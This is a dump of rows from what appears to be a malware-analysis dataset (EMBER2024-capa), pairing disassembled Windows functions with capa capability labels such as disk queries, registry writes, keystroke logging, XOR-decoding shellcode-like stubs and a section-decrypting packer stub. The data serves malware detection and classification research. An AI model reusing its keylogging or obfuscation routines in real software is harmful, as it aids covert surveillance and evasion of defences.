joyce8/EMBER2024-capa huggingface dataset:
Function at 0x57ddc0
Capabilities:
Get disk information
Get disk size
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x6670f4]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [0x60d148]
mov eax, ecx
mov dword [ebp - 0xc], 0x3a0020
push ebx
push esi
mov dword [ebp - 0x114], eax
movups xmmword [eax], xmm0
xor eax, eax
mov dword [ebp - 8], 0x5c
push edi
mov dword [ebp - 0x1c], 0x5c005c
mov dword [ebp - 0x18], 0x5c003f
mov dword [ebp - 0x14], 0x3a0020
mov word [ebp - 0x10], ax
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
lea eax, [ebp - 0xec]
push 0xd0
push 0
push eax
mov dword [ebp - 0x110], esi
call fcn.0058c8f0
xor edx, edx
add esp, 0xc
xor ebx, ebx
mov dword [ebp - 0xfc], edx
mov dword [ebp - 0x108], ebx
mov ecx, 1
lea edi, [edx + 0x41]
nop dword [eax]
mov eax, ecx
mov ecx, ebx
shl eax, cl
test esi, eax
je 0x57df84
lea eax, [ebp - 0xc]
mov word [ebp - 0xc], di
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x57df7e
xor esi, esi
mov word [ebp - 0x14], di
push esi
push esi
push eax
push esi
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x100], eax
cmp eax, 0xffffffff
je 0x57df0f
push 0x227
mov dword [ebp - 0xf8], esi
mov dword [ebp - 0xf4], esi
call fcn.0050f771
add esp, 4
mov ebx, eax
lea eax, [ebp - 0x118]
push esi
push eax
push 0x227
push ebx
push 0xc
lea eax, [ebp - 0xf8]
mov dword [ebx + 4], 0x227
push eax
push 0x2d1400
push dword [ebp - 0x100]
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x57def0
cmp dword [ebx + 0x1c], 7
mov eax, 1
cmove esi, eax
push ebx
call fcn.0050edcc
add esp, 4
push dword [ebp - 0x100]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x108]
test esi, esi
jne 0x57df78
lea eax, [ebp - 0x10c]
xorps xmm0, xmm0
push eax
lea eax, [ebp - 0x104]
movq qword [ebp - 0x120], xmm0
push eax
lea eax, [ebp - 0x120]
movq qword [ebp - 0x104], xmm0
push eax
lea eax, [ebp - 0xc]
movq qword [ebp - 0x10c], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov edx, dword [ebp - 0xfc]
mov eax, dword [ebp - 0x104]
mov esi, dword [ebp - 0x110]
mov dword [ebp + edx*8 - 0xec], eax
mov eax, dword [ebp - 0x100]
mov dword [ebp + edx*8 - 0xe8], eax
inc edx
mov dword [ebp - 0xfc], edx
jmp 0x57df84
mov esi, dword [ebp - 0x110]
mov edx, dword [ebp - 0xfc]
inc edi
inc ebx
mov dword [ebp - 0x108], ebx
mov ecx, 1
cmp di, 0x5a
jbe 0x57de50
mov esi, dword [ebp - 0x114]
lea ecx, [edx*8]
push ecx
lea eax, [ebp - 0xec]
push eax
push esi
call fcn.004eb350
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, esi
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0050ed5c
mov esp, ebp
pop ebp
ret
Function at 0x586c30
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f6829
mov eax, dword fs:[0]
push eax
push ecx
push ebx
push esi
push edi
mov eax, dword [0x6670f4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0
push dword [ebp + 0xc]
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
shl eax, 0x10
mov ebx, eax
or ebx, 0x1000000
cmp dword [ebp + 0x10], 0
cmove ebx, eax
mov dword [ebp + 0x10], ebx
call fcn.004b4040
mov ecx, eax
test ecx, ecx
je 0x586d4c
mov eax, dword [ecx]
call dword [eax + 0xc]
mov edi, dword [ebp + 8]
add eax, 0x10
mov dword [edi], eax
mov dword [ebp - 4], 0
mov esi, 0x40
mov dword [ebp - 0x10], 1
add esi, esi
js 0x586d42
mov eax, dword [edi]
mov ecx, 1
sub ecx, dword [eax - 4]
mov eax, dword [eax - 8]
sub eax, esi
or ecx, eax
jge 0x586cd6
push esi
mov ecx, edi
call fcn.004b4690
mov ecx, dword [edi]
cmp esi, dword [ecx - 8]
jg 0x586d42
mov dword [ecx - 0xc], esi
xor edx, edx
mov eax, dword [edi]
mov word [eax + esi*2], dx
lea eax, [esi + 1]
push eax
push ecx
push ebx
call dword [sym.imp.USER32.dll_GetKeyNameTextW]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x586d11
mov ecx, dword [edi]
test ecx, ecx
jne 0x586d05
xor eax, eax
jmp 0x586d15
push dword [ecx - 8]
push ecx
call fcn.005a976e
add esp, 8
test eax, eax
js 0x586d42
mov ecx, dword [edi]
cmp eax, dword [ecx - 8]
jg 0x586d42
mov dword [ecx - 0xc], eax
xor edx, edx
mov ecx, dword [edi]
cmp ebx, esi
mov ebx, dword [ebp + 0x10]
mov word [ecx + eax*2], dx
je 0x586cb3
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80070057
call fcn.004b3510
push 0x80004005
call fcn.004b3510
int3
Function at 0x5879c0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f6bf1
mov eax, dword fs:[0]
push eax
sub esp, 0x18
mov eax, dword [0x6670f4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
mov dword [ebp - 0x24], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
call fcn.004b4040
mov ecx, eax
test ecx, ecx
je 0x587b69
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [esi], eax
mov eax, 0x60d888
mov dword [ebp - 4], 1
mov ecx, esi
test eax, 0xffff0000
jne 0x587a38
movzx eax, ax
push eax
call fcn.004bd6a0
jmp 0x587a44
push 1
push 0x60d888
call fcn.004c0470
mov edi, dword [ebp + 0xc]
push 2
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 1
call dword [sym.imp.USER32.dll_MapVirtualKeyW]
mov ebx, eax
cmp edi, 0x20
jne 0x587a71
push 5
push 0x60d88c
jmp 0x587b44
test ebx, ebx
je 0x587ac5
mov eax, dword [esi]
mov ecx, dword [eax - 0xc]
mov dword [ebp - 0x20], ecx
lea edi, [ecx + 1]
test edi, edi
js 0x587b73
mov ecx, 1
sub ecx, dword [eax - 4]
mov eax, dword [eax - 8]
sub eax, edi
or ecx, eax
jge 0x587aa1
push edi
mov ecx, esi
call fcn.004b4690
mov eax, dword [esi]
mov ecx, dword [ebp - 0x20]
mov word [eax + ecx*2], bx
mov eax, dword [esi]
cmp edi, dword [eax - 8]
jg 0x587b73
mov dword [eax - 0xc], edi
xor ecx, ecx
mov eax, dword [esi]
mov word [eax + edi*2], cx
jmp 0x587b4b
cmp edi, 0x21
jne 0x587ad3
push 7
push str.Page_Up
jmp 0x587b44
cmp edi, 0x22
jne 0x587ae1
push 9
push str.Page_Down
jmp 0x587b44
cmp edi, 0x23
jne 0x587aef
push 3
push 0x60d8bc
jmp 0x587b44
cmp edi, 0x24
jne 0x587afd
push 4
push str.Home
jmp 0x587b44
lea eax, [edi - 0x70]
cmp eax, 0x17
ja 0x587b4b
xor eax, eax
mov dword [ebp - 0x18], eax
mov word [ebp - 0x14], ax
lea eax, [edi - 0x6f]
push eax
push 0x60d8d0
lea eax, [ebp - 0x18]
push 2
push eax
call fcn.004ce860
lea ecx, [ebp - 0x18]
add esp, 0x10
lea edx, [ecx + 2]
nop dword [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x587b30
sub ecx, edx
lea eax, [ebp - 0x18]
sar ecx, 1
push ecx
push eax
mov ecx, esi
call fcn.004bdc50
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0050ed5c
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004b3510
push 0x80070057
call fcn.004b3510
int3
Function at 0x58a1c0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.00579bf0
test eax, eax
je 0x58a1e4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.00589d70
add esp, 8
mov eax, 1
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push esi
xor esi, esi
test eax, eax
je 0x58a23a
mov ecx, 0x804
cmp ax, cx
jne 0x58a23a
push edi
push eax
lea eax, [ebp - 4]
push eax
call fcn.005893a0
add esp, 8
push dword [ebp - 4]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov edi, dword [ebp - 4]
test eax, eax
mov ecx, 1
cmove esi, ecx
add edi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edi + 0xc], eax
dec eax
test eax, eax
jg 0x58a239
mov ecx, dword [edi]
push edi
mov edx, dword [ecx]
call dword [edx + 4]
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x58ac10
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
mov eax, dword [esi]
cmp dword [eax - 0xc], edi
je 0x58ac70
push ebx
push 0x2001f
push eax
push SysReAllocString
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call fcn.0057b750
test eax, eax
je 0x58ac78
push edi
push edi
push 0x2001f
push edi
push edi
push dword [esi]
lea ecx, [ebp - 0xc]
push SysReAllocString
call fcn.0057a7e0
test eax, eax
je 0x58ac7d
mov esi, dword [ebp - 0xc]
pop ebx
test esi, esi
je 0x58ac70
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
cmp dword [ebp + 0x18], edi
je 0x58ac61
mov esi, dword [ebp - 0xc]
lea eax, [ebp + 0x14]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 4
push eax
push 3
push 0
push str.Target_IME
push esi
call ebx
test eax, eax
jne 0x58ac64
push 4
lea eax, [ebp + 0xc]
push eax
push 3
push 0
push str.Key_Modifiers
push esi
call ebx
test eax, eax
jne 0x58ac64
push 4
lea eax, [ebp + 0x10]
push eax
push 3
push 0
push str.Virtual_Key
push esi
call ebx
test eax, eax
mov ecx, 1
cmove edi, ecx
jmp 0x58ac64
Function at 0x5d6a92
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005d6281

Function at 0x5d6a9d
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005d64bc

Function at 0x5d6ec3
Capabilities:
Create thread
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005d6cb7

Function at 0x5dc1ab
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005dbdb0

Function at 0x5dc1b6
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005dbf31
Function at 0x1000b6d5
Capabilities:
Get common file path

Disassembly:
sub esp, 0x108
mov eax, dword [0x1001ff00]
xor eax, esp
mov dword [esp + 0x104], eax
push ebp
push esi
push edi
mov edi, dword [esp + 0x118]
lea eax, [esp + 0xc]
mov ebp, 0x104
xor esi, esi
push ebp
push eax
call dword [sym.imp.kernel32.dll_GetSystemDirectoryA]
test eax, eax
je 0x1000b738
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
jne 0x1000b772
push ebp
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryA]
test eax, eax
je 0x1000b772
lea eax, [esp + 0xc]
push 0x10017e60
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
lea eax, [esp + 0x14]
push edi
push eax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
add esp, 0x10
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov esi, eax
mov ecx, dword [esp + 0x110]
mov eax, esi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.10014785
add esp, 0x108
ret

Function at 0x1000e240
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1000e24f
pop dword [ebp - 0x4c]
mov eax, 0x73ce1d4c
sub eax, 0x63cd3afd
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xae289274
add dword [ebp - 0x5c], 0xa029b2d7
mov dword [ebp - 0x58], 0x76aac507
sub dword [ebp - 0x58], 0x447778c2
mov dword [ebp - 0x54], 0xea5f0a27
add dword [ebp - 0x54], 0x61ed3a07
mov dword [ebp - 0x50], 0x7652eb5a
add dword [ebp - 0x50], 0x89ad14a6
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x907b6253
sub eax, 0x807a01f3
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xb714b675
add dword [ebp - 0x5c], 0xbd5db2e1
mov dword [ebp - 0x58], 0xb82962ec
sub dword [ebp - 0x58], 0x76bd0177
mov dword [ebp - 0x54], 0xd1408184
add dword [ebp - 0x54], 0x922eeae8
mov dword [ebp - 0x50], 0x2796c81a
sub dword [ebp - 0x50], 0x2796c81a
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x3424e771
add eax, 0xdbdc78f3
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3932a
push 0
call eax
mov ecx, 0xef0f2710
add ecx, 0x10f12754
mov ebx, eax
mov edx, 0x93c7e3a3
sub edx, 0x83c5ada3
add edx, dword [ebp - 0x4c]
mov edi, 0xdbc51902
add dword [ebp - 0x14], 0x9ecbb21b
mov esi, dword [edx]
xor dword [ebp - 0x34], ecx
add esi, edi
add dword [ebp - 0x30], esi
mov dword [ebx], esi
add dword [ebp - 0x18], 0xbeff5640
add ebx, 4
add edx, 0xc8329e32
add edx, 0x37cd61d2
loop 0x1000e36b
add eax, 0xd51dfdf4
add eax, 0x2ae32e6f
mov ebx, eax
add eax, 0xc5020763
sub eax, 0xc502075e
mov ecx, 0x3c857f1a
add ecx, 0xd37a80e6
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x10001000
Capabilities:
Print debug messages

Disassembly:
mov eax, 0x1004
call fcn.10002820
mov eax, dword [0x10004004]
xor eax, esp
mov dword [esp + 0x1000], eax
xor eax, eax
push 0xffe
push eax
lea ecx, [esp + 0xa]
push ecx
mov word [esp + 0xc], ax
call sub.MSVCR90.dll_memset
mov eax, dword [esp + 0x1014]
lea edx, [esp + 0x1018]
push edx
push eax
lea ecx, [esp + 0x14]
push 0x7ff
push ecx
call dword [sym.imp.MSVCR90.dll__vsnwprintf]
add esp, 0x1c
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [esp + 0x1000]
xor ecx, esp
call fcn.10001f43
add esp, 0x1004
ret
Function at 0x10001620
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100029b5
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x10004004]
xor eax, esp
mov dword [esp + 0x5c], eax
push esi
push edi
mov eax, dword [0x10004004]
xor eax, esp
push eax
lea eax, [esp + 0x6c]
mov dword fs:[0], eax
mov eax, dword [esp + 0x80]
mov edi, dword [esp + 0x7c]
xor ecx, ecx
mov dword [esp + 0x74], ecx
mov dword [esp + 0xc], ecx
push eax
lea ecx, [esp + 0x50]
mov dword [esp + 0x14], edi
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
lea eax, [esp + 0x4c]
lea esi, [esp + 0x14]
mov dword [esp + 0x74], 1
call fcn.100012f0
mov byte [esp + 0x74], 2
cmp dword [esp + 0x2c], 0x10
mov eax, dword [esp + 0x18]
jae 0x1000169d
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x34]
push eax
call sym.CodeCore.dll_Ordinal_2
add esp, 8
lea eax, [esp + 0x30]
mov ecx, edi
mov byte [esp + 0x74], 3
call fcn.100011b0
lea ecx, [esp + 0x30]
mov dword [esp + 0xc], 1
mov byte [esp + 0x74], 2
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x14]
mov byte [esp + 0x74], 1
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x4c]
mov byte [esp + 0x74], 0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
mov eax, edi
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.10001f43
add esp, 0x6c
ret
Function at 0x10001810
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x100029b5
mov eax, dword fs:[0]
push eax
sub esp, 0x60
mov eax, dword [0x10004004]
xor eax, esp
mov dword [esp + 0x5c], eax
push esi
push edi
mov eax, dword [0x10004004]
xor eax, esp
push eax
lea eax, [esp + 0x6c]
mov dword fs:[0], eax
mov eax, dword [esp + 0x80]
mov edi, dword [esp + 0x7c]
xor ecx, ecx
mov dword [esp + 0x74], ecx
mov dword [esp + 0xc], ecx
push eax
lea ecx, [esp + 0x50]
mov dword [esp + 0x14], edi
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::constructor_wchar_t_const__]
lea eax, [esp + 0x4c]
lea esi, [esp + 0x14]
mov dword [esp + 0x74], 1
call fcn.100012f0
mov byte [esp + 0x74], 2
cmp dword [esp + 0x2c], 0x10
mov eax, dword [esp + 0x18]
jae 0x1000188d
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x34]
push eax
call sym.CodeCore.dll_Ordinal_4
add esp, 8
lea eax, [esp + 0x30]
mov ecx, edi
mov byte [esp + 0x74], 3
call fcn.100011b0
lea ecx, [esp + 0x30]
mov dword [esp + 0xc], 1
mov byte [esp + 0x74], 2
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x14]
mov byte [esp + 0x74], 1
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [esp + 0x4c]
mov byte [esp + 0x74], 0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__::destructor_void_]
mov eax, edi
mov ecx, dword [esp + 0x6c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [esp + 0x5c]
xor ecx, esp
call fcn.10001f43
add esp, 0x6c
ret
Function at 0x10001b10
Capabilities:
Print debug messages

Disassembly:
push 0xffffffffffffffff
push 0x100028f9
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x10004004]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov edi, dword [esp + 0x38]
lea eax, [esp + 0x1c]
push eax
push 0x1000328c
mov dword [esp + 0x1c], 0
call dword [sym.imp.MSVCP90.dll_bool___cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 8
test al, al
jne 0x10001bec
mov eax, dword [esp + 0x30]
lea eax, [eax*4 + 1]
push eax
call fcn.10001f38
mov esi, eax
mov dword [esi], 0
mov eax, dword [esp + 0x24]
add esp, 4
cmp dword [esp + 0x34], 0x10
jae 0x10001b84
lea eax, [esp + 0x20]
mov ecx, dword [esp + 0x30]
push ecx
push eax
push esi
call sub.LIBEAY32.dll_Ordinal_270
add esp, 0xc
cmp eax, 0xffffffff
jne 0x10001bd6
test esi, esi
je 0x10001ba5
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
push str.Base64Encode_failed_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
xor al, al
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret
push esi
mov ecx, edi
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
test esi, esi
je 0x10001bec
push esi
call sub.MSVCR90.dll_void___cdecl_operator_delete___void__
add esp, 4
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], 0xffffffff
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret
Function at 0x10001c20
Capabilities:
Print debug messages

Disassembly:
mov eax, dword [esp + 0x14]
sub esp, 0xf4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001c30
sub eax, edx
cmp eax, 0x10
je 0x10001c47
xor al, al
add esp, 0xf4
ret
push esi
mov esi, dword [esp + 0x104]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001c54
sub eax, edx
inc eax
test al, 0xf
mov eax, esi
lea edx, [eax + 1]
jne 0x10001c75
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001c67
sub eax, edx
lea esi, [eax + 1]
jmp 0x10001c88
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001c75
sub eax, edx
lea esi, [eax + 1]
shr esi, 4
inc esi
shl esi, 4
push ebp
mov ebp, dword [esp + 0x104]
cmp dword [ebp], esi
jae 0x10001cab
push str.nOutLen___len_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
pop ebp
xor al, al
pop esi
add esp, 0xf4
ret
push ebx
push edi
mov edi, dword [sym.imp.MSVCR90.dll_calloc]
push 1
push esi
mov dword [ebp], esi
call edi
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x10001d77
mov eax, dword [esp + 0x110]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10001cd2
sub eax, edx
push eax
mov eax, dword [esp + 0x114]
push eax
push ebx
call dword [sym.imp.MSVCR90.dll_strncpy]
mov edx, dword [esp + 0x120]
lea ecx, [esp + 0x1c]
push ecx
push 0x80
push edx
call sub.LIBEAY32.dll_Ordinal_3024
add esp, 0x18
test eax, eax
jl 0x10001d22
push 1
push esi
call edi
mov edi, eax
add esp, 8
test edi, edi
jne 0x10001d39
push str.Unable_to_allocate_memory_for_encrypt_string_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push ebx
call dword [sym.imp.MSVCR90.dll_free]
add esp, 4
pop edi
pop ebx
pop ebp
xor al, al
pop esi
add esp, 0xf4
ret
mov eax, dword [esp + 0x118]
push 1
push eax
lea ecx, [esp + 0x18]
push ecx
push esi
push edi
push ebx
call sub.LIBEAY32.dll_Ordinal_3171
mov edx, dword [esp + 0x120]
push esi
push edi
push esi
push edx
call dword [sym.imp.MSVCR90.dll_memcpy_s]
add esp, 0x28
push ebx
test eax, eax
je 0x10001d84
mov esi, dword [sym.imp.MSVCR90.dll_free]
call esi
push edi
call esi
add esp, 8
pop edi
pop ebx
pop ebp
xor al, al
pop esi
add esp, 0xf4
ret
mov dword [ebp], esi
mov esi, dword [sym.imp.MSVCR90.dll_free]
call esi
push edi
call esi
add esp, 8
pop edi
pop ebx
pop ebp
mov al, 1
pop esi
add esp, 0xf4
ret

Function at 0x10001f43
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10004004]
jne 0x10001f4d
repz ret
jmp fcn.1000230c

Function at 0x103b6730
Capabilities:
Encode data using xor

Disassembly:
jmp 0x103b673a
pushal
call 0x103b6740
pop ebp
sub ebp, 0x10
sub ebp, 0x3b6730
mov al, byte [esp + 0x28]
cmp al, 1
je 0x103b6764
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x103b676d
mov eax, 0x3b6730
add eax, ebp
add eax, 0x63
mov ecx, 0x604
mov edx, 0xe70568da
xor byte [eax], dl
inc eax
dec ecx
jne 0x103b6784
jmp 0x103b6797
push ecx
pop ss
push ecx
push ebx
out 0xda, al
fcmovu st(0), st(2)
pop ebx
sbb esp, dword [edx]
fcmovu st(0), st(2)
fcmovu st(0), st(1)
pop ss
invalid
Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ed0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x700940c3
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0xb5b77b7
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x4300c0
nop
nop
popal
nop
nop
nop
jmp 0x401219